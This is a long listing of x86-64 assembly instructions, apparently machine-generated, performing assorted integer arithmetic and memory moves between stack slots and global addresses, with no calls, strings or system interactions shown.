lea rax, [rsp + 0x1e7]
mov qword [0x1401cdfe8], rax
lea rax, [rsp + 0x1acc]
mov qword [rsp + 0xd3f0], rax
mov rax, qword [rsp + 0x9448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16b8]
xor eax, ecx
mov rcx, qword [rsp + 0xc6a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x27d]
mov rcx, qword [rsp + 0xd1f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x288], al
movzx eax, byte [0x1401cc0ca]
mov byte [rsp + 0x3b9], al
mov rax, qword [rsp + 0xd0b8]
mov rcx, qword [rsp + 0x99b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5488], eax
mov rax, qword [rsp + 0x8c08]
mov qword [rsp + 0xd3f8], rax
mov rax, qword [rsp + 0xc548]
mov rcx, qword [rsp + 0xba18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb6b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50d8], eax
movzx eax, word [rsp + 0x192c]
mov rcx, qword [rsp + 0xa208]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdc48]
mov word [rcx], ax
mov rax, qword [rsp + 0x9980]
movzx eax, word [rax]
mov word [rsp + 0x1c2c], ax
movsx eax, byte [rsp + 0x3a4]
movsx ecx, byte [rsp + 0x1de]
and eax, ecx
mov byte [rsp + 0x29c], al
movzx eax, byte [rsp + 0x3ab]
mov byte [rsp + 0x3ba], al
movzx eax, byte [rsp + 0x304]
movzx ecx, byte [rsp + 0x3ab]
sub eax, ecx
mov byte [rsp + 0x3b8], al
mov rax, qword [rsp + 0xc790]
mov qword [rsp + 0xd400], rax
mov rax, qword [rsp + 0xae80]
mov rcx, qword [rsp + 0xc7d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5254], eax
mov rax, qword [rsp + 0x9868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5190]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5550], eax
lea rax, [rsp + 0x8480]
mov qword [rsp + 0xd408], rax
mov rax, qword [rsp + 0x95a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc1a8], ax
movzx eax, word [0x1401cc090]
mov rcx, qword [rsp + 0x9a10]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x166c], ax
lea rax, [rsp + 0x2e9]
mov qword [rsp + 0xd410], rax
movsx eax, byte [rsp + 0x322]
movsx ecx, byte [rsp + 0x2be]
or eax, ecx
mov rcx, qword [rsp + 0xaee8]
mov byte [rcx], al
mov rax, qword [0x1401cdc58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x18cc], ax
lea rax, [rsp + 0x4ec4]
mov qword [rsp + 0xd418], rax
mov rax, qword [rsp + 0x90f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9480]
mov qword [rsp + 0xd420], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd420]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc2f8], rax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov qword [rsp + 0xd428], rax
mov eax, dword [rsp + 0x4edc]
mov ecx, dword [rsp + 0x52f4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3e0]
mov dword [rcx], eax
lea rax, [rsp + 0x1b34]
mov qword [0x1401cdff0], rax
mov rax, qword [0x1401cdb88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
movsx eax, word [rsp + 0x1664]
movsx ecx, word [rsp + 0x1858]
add eax, ecx
mov word [rsp + 0xeb4], ax
movzx eax, byte [rsp + 0x333]
mov rcx, qword [0x1401cda10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xae90]
mov byte [rcx], al
lea rax, [rsp + 0x1714]
mov qword [rsp + 0xd430], rax
mov rax, qword [rsp + 0xc200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb030]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a8], rax
mov rax, qword [rsp + 0xb978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5124]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fd8], eax
lea rax, [rsp + 0x8438]
mov qword [rsp + 0xd438], rax
mov rax, qword [rsp + 0xb7c0]
mov ecx, dword [rsp + 0x5524]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x51f0], eax
mov rax, qword [rsp + 0xc920]
movzx eax, word [rax]
mov word [rsp + 0x1c30], ax
lea rax, [0x1401cd845]
mov qword [0x1401cdff8], rax
mov rax, qword [rsp + 0xb0a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19d8]
add eax, ecx
mov word [rsp + 0x1b50], ax
mov rax, qword [rsp + 0xc840]
movzx eax, byte [rax]
mov byte [rsp + 0x3bb], al
mov rax, qword [rsp + 0xaf60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19b0]
add eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb7a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ad0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcda0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4fd4]
mov dword [rsp + 0x558c], eax
mov rax, qword [rsp + 0xa6d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc298]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb40], rax
lea rax, [rsp + 0x54e4]
mov qword [rsp + 0xd440], rax
movzx eax, byte [rsp + 0x201]
movzx ecx, byte [rsp + 0x2ef]
xor eax, ecx
mov byte [rsp + 0x155], al
mov rax, qword [0x1401cda80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb900]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401cc08e], al
movsx eax, word [rsp + 0xefc]
movsx ecx, word [rsp + 0x1924]
shl eax, cl
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
mov word [rsp + 0x1c34], ax
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc710]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb9b0]
mov word [rcx], ax
lea rax, [rsp + 0x50a8]
mov qword [rsp + 0xd448], rax
mov rax, qword [rsp + 0xaae0]
mov rcx, qword [rsp + 0xaf48]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa410], rax
mov rax, qword [rsp + 0xba10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9f0]
mov qword [rcx], rax
lea rax, [rsp + 0x526c]
mov qword [rsp + 0xd450], rax
movzx eax, byte [rsp + 0x335]
movzx ecx, byte [rsp + 0x315]
add eax, ecx
mov byte [rsp + 0x1fa], al
lea rax, [rsp + 0x1888]
mov qword [0x1401ce000], rax
mov rax, qword [rsp + 0x9730]
movzx eax, word [rax]
mov word [rsp + 0x1c38], ax
mov rax, qword [rsp + 0xb800]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x256]
sub eax, ecx
mov rcx, qword [rsp + 0x92f0]
mov byte [rcx], al
mov rax, qword [0x1401cde30]
movzx eax, byte [rax]
mov byte [rsp + 0x3bc], al
mov rax, qword [rsp + 0xc6e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ef0], rax
mov rax, qword [rsp + 0xbb68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb810]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a8], rax
lea rax, [0x1401cd710]
mov qword [rsp + 0xd458], rax
mov eax, dword [rsp + 0x52c4]
mov ecx, dword [rsp + 0x5158]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f3c], eax
mov rax, qword [rsp + 0xa960]
movzx eax, word [rax]
mov word [rsp + 0x1c3c], ax
movsx eax, byte [0x1401cc0d2]
movsx ecx, byte [rsp + 0x23f]
sub eax, ecx
mov byte [0x1401cd7ec], al
mov rax, qword [rsp + 0xcb20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc5e8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xaf10]
mov byte [rcx], al
mov rax, qword [rsp + 0xc840]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd890]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
lea rax, [rsp + 0x1c1c]
mov qword [rsp + 0xd460], rax
mov rax, qword [rsp + 0xb6c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa6d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x24e], al
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov qword [rsp + 0xd468], rax
mov eax, dword [rsp + 0x5578]
movzx ecx, al
mov eax, dword [rsp + 0x5428]
sar eax, cl
mov rcx, qword [rsp + 0xa180]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5420]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x502c], eax
lea rax, [rsp + 0xb100]
mov qword [rsp + 0xd470], rax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38c]
and eax, ecx
mov byte [0x1401cd8fb], al
mov rax, qword [rsp + 0xd348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15d8]
sub eax, ecx
mov rcx, qword [rsp + 0x9328]
mov word [rcx], ax
lea rax, [0x1401cc030]
mov qword [rsp + 0xd478], rax
movsx eax, byte [rsp + 0x396]
movsx ecx, byte [rsp + 0x1fd]
sub eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0xb6a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc9a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b30], ax
lea rax, [0x1401cc020]
mov qword [rsp + 0xd480], rax
mov rax, qword [rsp + 0xb760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5360], eax
lea rax, [rsp + 0x543c]
mov qword [rsp + 0xd488], rax
mov rax, qword [rsp + 0xc5f8]
mov rcx, qword [rsp + 0xcdc0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb750]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb398]
movzx eax, byte [rax]
mov byte [0x1401cd8fd], al
lea rax, [rsp + 0x281]
mov qword [rsp + 0xd490], rax
mov rax, qword [rsp + 0x9690]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc948]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x190c], ax
movsx eax, byte [0x1401cc072]
movsx ecx, byte [rsp + 0x206]
add eax, ecx
mov rcx, qword [rsp + 0x9f60]
mov byte [rcx], al
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xd498], rax
mov rax, qword [rsp + 0xb778]
mov rcx, qword [rsp + 0xd170]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5494], eax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0xb940]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4c58], eax
mov rax, qword [rsp + 0xa6a0]
movzx ecx, al
mov rax, qword [rsp + 0x9538]
sar rax, cl
mov qword [rsp + 0xca98], rax
mov rax, qword [rsp + 0x9330]
mov rcx, qword [rsp + 0x86e8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xbc50]
mov qword [rcx], rax
lea rax, [rsp + 0xea8]
mov qword [0x1401ce008], rax
lea rax, [rsp + 0x388]
mov qword [rsp + 0xd4a0], rax
mov rax, qword [rsp + 0xa108]
movsx eax, word [rax]
movsx ecx, word [0x1401cc108]
shl eax, cl
mov rcx, qword [rsp + 0x9098]
mov word [rcx], ax
lea rax, [rsp + 0x1670]
mov qword [rsp + 0xd4a8], rax
movsx eax, byte [rsp + 0x210]
movsx ecx, byte [rsp + 0x36a]
sub eax, ecx
mov byte [rsp + 0x21b], al
mov eax, dword [rsp + 0x5488]
mov ecx, dword [rsp + 0x5028]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5380], eax
mov rax, qword [rsp + 0x9b68]
mov qword [rsp + 0xd4b0], rax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9220]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x92d8]
mov qword [rcx], rax
lea rax, [rsp + 0x50e8]
mov qword [rsp + 0xd4b8], rax
movzx eax, word [rsp + 0x1bf0]
mov rcx, qword [rsp + 0x90c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc150], ax
movzx eax, byte [rsp + 0x211]
mov rcx, qword [rsp + 0xbf18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc4f8]
mov byte [rcx], al
movzx eax, word [0x1401cd960]
mov word [rsp + 0x1c40], ax
mov rax, qword [rsp + 0xa480]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc088]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x384], al
movzx eax, byte [rsp + 0x1e0]
movzx ecx, byte [rsp + 0x37d]
sub eax, ecx
mov byte [rsp + 0x2ba], al
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0xd4c0], rax
mov rax, qword [rsp + 0xb1c0]
mov rcx, qword [rsp + 0x9e20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4edc], eax
lea rax, [rsp + 0x4e70]
mov qword [rsp + 0xd4c8], rax
mov rax, qword [rsp + 0xa140]
mov rcx, qword [rsp + 0x94c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9978]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1464]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cd9e8], ax
mov rax, qword [rsp + 0xc048]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa138]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
mov rax, qword [0x1401cd940]
movzx eax, word [rax]
mov word [rsp + 0x1c44], ax
movzx eax, word [rsp + 0x1560]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb9d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb3d0]
movzx eax, byte [rax]
mov byte [rsp + 0x3bd], al
mov eax, dword [rsp + 0x4d00]
movzx ecx, al
mov eax, dword [rsp + 0x4930]
sar eax, cl
mov dword [rsp + 0x50d8], eax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0xbc08]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x85f0], rax
mov rax, qword [rsp + 0xbc38]
mov rax, qword [rax]
mov qword [rsp + 0xd4d0], rax
mov eax, dword [rsp + 0x4dd8]
movzx ecx, al
mov eax, dword [rsp + 0x52b8]
shl eax, cl
mov dword [rsp + 0x534c], eax
mov rax, qword [rsp + 0xbe30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2da]
and eax, ecx
mov byte [0x1401cc0ee], al
movzx eax, byte [rsp + 0x34a]
mov byte [rsp + 0x3be], al
movsx eax, word [0x1401cd840]
mov rcx, qword [rsp + 0xade0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1524], ax
mov rax, qword [rsp + 0xd350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9448]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a34], ax
movzx eax, byte [rsp + 0x260]
mov byte [rsp + 0x3bf], al
mov rax, qword [rsp + 0x9068]
mov rcx, qword [0x1401cc020]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xae98]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc908]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa1d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x84c8], rax
mov rax, qword [rsp + 0x99b8]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5158], eax
mov rax, qword [rsp + 0xd028]
mov eax, dword [rax]
mov dword [rsp + 0x5590], eax
lea rax, [rsp + 0x162c]
mov qword [0x1401ce010], rax
movzx eax, byte [rsp + 0xac]
movzx ecx, byte [0x1401cc046]
add eax, ecx
mov byte [rsp + 0x32f], al
mov rax, qword [rsp + 0x9540]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x94e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc800]
movzx eax, word [rax]
mov word [rsp + 0x1c48], ax
movzx eax, word [rsp + 0x1794]
movzx ecx, word [0x1401cdd68]
sub eax, ecx
mov word [rsp + 0x1b68], ax
mov rax, qword [rsp + 0xa800]
mov rax, qword [rax]
mov qword [rsp + 0xd4d8], rax
mov rax, qword [rsp + 0xa398]
mov rcx, qword [rsp + 0x9400]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x98d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6a8]
mov rcx, qword [rsp + 0xb5f0]
mov qword [rsp + 0xd4e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4e0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa7d8], rax
lea rax, [rsp + 0x50c0]
mov qword [rsp + 0xd4e8], rax
movsx eax, word [rsp + 0x1424]
movsx ecx, word [rsp + 0x1bb4]
sar eax, cl
mov word [rsp + 0xeb4], ax
movzx eax, byte [0x1401cc07f]
movzx ecx, byte [rsp + 0x31e]
or eax, ecx
mov byte [0x1401cc0c6], al
lea rax, [rsp + 0x1590]
mov qword [rsp + 0xd4f0], rax
movsx eax, byte [rsp + 0x29e]
movsx ecx, byte [rsp + 0x269]
and eax, ecx
mov byte [rsp + 0x235], al
mov rax, qword [0x1401cd8b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x92f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb0f8]
mov byte [rcx], al
mov eax, dword [rsp + 0x488c]
mov dword [rsp + 0x5594], eax
mov rax, qword [rsp + 0xba90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd1e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb1a8]
mov eax, dword [rax]
mov dword [rsp + 0x5598], eax
mov rax, qword [rsp + 0xcf90]
mov rcx, qword [rsp + 0x9de0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa140], rax
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x1aa0]
add eax, ecx
mov word [rsp + 0x1958], ax
mov rax, qword [0x1401cd758]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd0f0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401cddf8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb850]
movzx eax, byte [rax]
mov byte [rsp + 0x3c0], al
movsx eax, byte [rsp + 0x273]
mov rcx, qword [0x1401cdba8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x259], al
lea rax, [rsp + 0x1720]
mov qword [rsp + 0xd4f8], rax
mov rax, qword [rsp + 0xbc60]
mov rcx, qword [rsp + 0xba18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbb18]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc150]
mov eax, dword [rax]
mov dword [rsp + 0x559c], eax
mov rax, qword [rsp + 0xd368]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb960], rax
mov rax, qword [rsp + 0xc7d0]
mov rcx, qword [rsp + 0xa180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x95c0]
mov dword [rcx], eax
lea rax, [rsp + 0x18c0]
mov qword [rsp + 0xd500], rax
movzx eax, word [0x1401cc1e0]
movzx ecx, word [rsp + 0x1810]
xor eax, ecx
mov word [0x1401cc214], ax
movsx eax, byte [rsp + 0x23f]
movsx ecx, byte [rsp + 0x36e]
or eax, ecx
mov rcx, qword [rsp + 0x9f48]
mov byte [rcx], al
mov rax, qword [rsp + 0xa470]
movzx eax, word [rax]
mov word [rsp + 0x1c4c], ax
mov rax, qword [0x1401cdb30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x323]
shl eax, cl
mov rcx, qword [rsp + 0xc848]
mov byte [rcx], al
mov eax, dword [rsp + 0x522c]
mov rcx, qword [rsp + 0x8ff0]
mov qword [rsp + 0xd508], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd508]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xad70]
mov dword [rcx], eax
lea rax, [rsp + 0x54c4]
mov qword [rsp + 0xd510], rax
mov rax, qword [rsp + 0xc0f0]
mov rcx, qword [rsp + 0x80a0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa2e8]
mov rcx, qword [rsp + 0xb100]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8af8], rax
movzx eax, byte [0x1401cc05b]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd0a0]
mov byte [rcx], al
lea rax, [rsp + 0x1814]
mov qword [0x1401ce018], rax
mov rax, qword [rsp + 0x9ac8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc720]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x375], al
lea rax, [rsp + 0x15fc]
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0xd310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ea8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c2c], ax
lea rax, [rsp + 0x1e1]
mov qword [rsp + 0xd520], rax
mov rax, qword [rsp + 0x94c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5080], eax
lea rax, [rsp + 0xd2a0]
mov qword [rsp + 0xd528], rax
mov rax, qword [rsp + 0xc628]
mov rcx, qword [rsp + 0x93e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc270]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ae4], eax
mov rax, qword [rsp + 0x9778]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1598]
add eax, ecx
mov rcx, qword [0x1401cdfb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x273]
mov byte [rsp + 0x3c1], al
mov rax, qword [0x1401cd7f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcef8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17a0], ax
lea rax, [rsp + 0x2ec]
mov qword [rsp + 0xd530], rax
movsx eax, byte [rsp + 0x319]
mov rcx, qword [rsp + 0xb3b0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2f3], al
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xca80]
mov qword [rsp + 0xd538], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd538]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x95e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1f0]
mov eax, dword [rax]
mov dword [rsp + 0x55a0], eax
mov rax, qword [rsp + 0x96d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc558]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb548], rax
mov rax, qword [rsp + 0xa9f0]
mov rax, qword [rax]
mov qword [rsp + 0xd540], rax
movsx eax, word [rsp + 0x19c4]
mov rcx, qword [rsp + 0xc5b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401cd714], ax
movsx eax, byte [rsp + 0x26c]
mov rcx, qword [rsp + 0xade8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9e10]
mov byte [rcx], al
movsx eax, word [0x1401cc198]
movsx ecx, word [rsp + 0x11bc]
imul eax, ecx
mov rcx, qword [rsp + 0xc058]
mov word [rcx], ax
movzx eax, word [rsp + 0x1b0c]
mov word [rsp + 0x1c50], ax
mov rax, qword [rsp + 0xb008]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15a8]
sub eax, ecx
mov rcx, qword [rsp + 0xc948]
mov word [rcx], ax
mov rax, qword [rsp + 0xc030]
mov eax, dword [rax]
mov dword [rsp + 0x55a4], eax
mov rax, qword [rsp + 0x8a28]
mov rcx, qword [rsp + 0x8438]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb110], rax
mov rax, qword [rsp + 0x9a38]
mov rcx, qword [rsp + 0xc450]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc6d8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5250]
mov dword [rsp + 0x55a8], eax
movzx eax, word [rsp + 0x1a50]
mov word [0x1401ce020], ax
movsx eax, byte [rsp + 0x25b]
movsx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [rsp + 0x35c], al
movzx eax, byte [0x1401cc097]
mov byte [rsp + 0x3c2], al
mov rax, qword [rsp + 0xb9e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x256]
sub eax, ecx
mov byte [rsp + 0x312], al
lea rax, [rsp + 0x1814]
mov qword [rsp + 0xd548], rax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0xb3a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc148]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90e8]
mov ecx, dword [rsp + 0x5224]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5024], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov qword [rsp + 0xd550], rax
mov rax, qword [rsp + 0x8ff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5284]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5254], eax
mov rax, qword [rsp + 0xccd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbde8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401cc0ef], al
movzx eax, word [rsp + 0x1470]
mov rcx, qword [rsp + 0xc108]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x118c], ax
mov rax, qword [rsp + 0xbf38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba38]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbe20]
mov word [rcx], ax
movsx eax, byte [rsp + 0x334]
mov rcx, qword [rsp + 0xa8f0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x300], al
mov rax, qword [0x1401cd7f8]
movzx eax, word [rax]
mov word [rsp + 0x1c54], ax
mov rax, qword [rsp + 0xbf98]
mov rcx, qword [rsp + 0xac20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5218], eax
lea rax, [rsp + 0x518c]
mov qword [rsp + 0xd558], rax
mov rax, qword [rsp + 0xbeb0]
mov rcx, qword [rsp + 0x9668]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xce50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca60]
mov rcx, qword [rsp + 0xc068]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb8e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaee8]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd978]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdcf8]
mov byte [rcx], al
lea rax, [rsp + 0x18e8]
mov qword [rsp + 0xd560], rax
mov rax, qword [rsp + 0xa560]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc570]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96b0]
mov byte [rcx], al
lea rax, [rsp + 0x32c]
mov qword [rsp + 0xd568], rax
mov rax, qword [0x1401cde28]
movzx eax, word [rax]
